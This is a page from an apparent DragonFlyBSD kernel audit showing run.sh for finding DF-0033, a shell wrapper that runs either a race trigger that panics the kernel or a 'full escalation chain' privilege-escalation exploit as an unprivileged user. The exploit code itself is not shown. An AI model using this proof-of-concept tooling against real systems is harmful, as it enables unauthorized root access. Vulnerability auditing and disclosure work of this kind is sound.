DragonFlyBSD Kernel Audit
DF-0033 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0033 run (unprivileged). Two modes:
#   ./run.sh race              -> minimal race trigger (panic on INVARIANTS kernel)
#   ./run.sh exploit [args...] -> full escalation chain (REQUIRES non-INVARIANTS kernel)
# Run as maxx (uid 1001):
#   ssh dfbsd-maxx "cd poc/DF-0033 && ./run.sh exploit 120 12 20000"
cd "$(dirname "$0")"
mode="${1:-exploit}"
shift
case "$mode" in
  race)    exec ./fdtol_race "${@:-25 12}" ;;
  exploit) exec ./exploit    "${@:-120 12 20000}" ;;
  *) echo "usage: $0 {race|exploit} [args...]"; exit 2 ;;
esac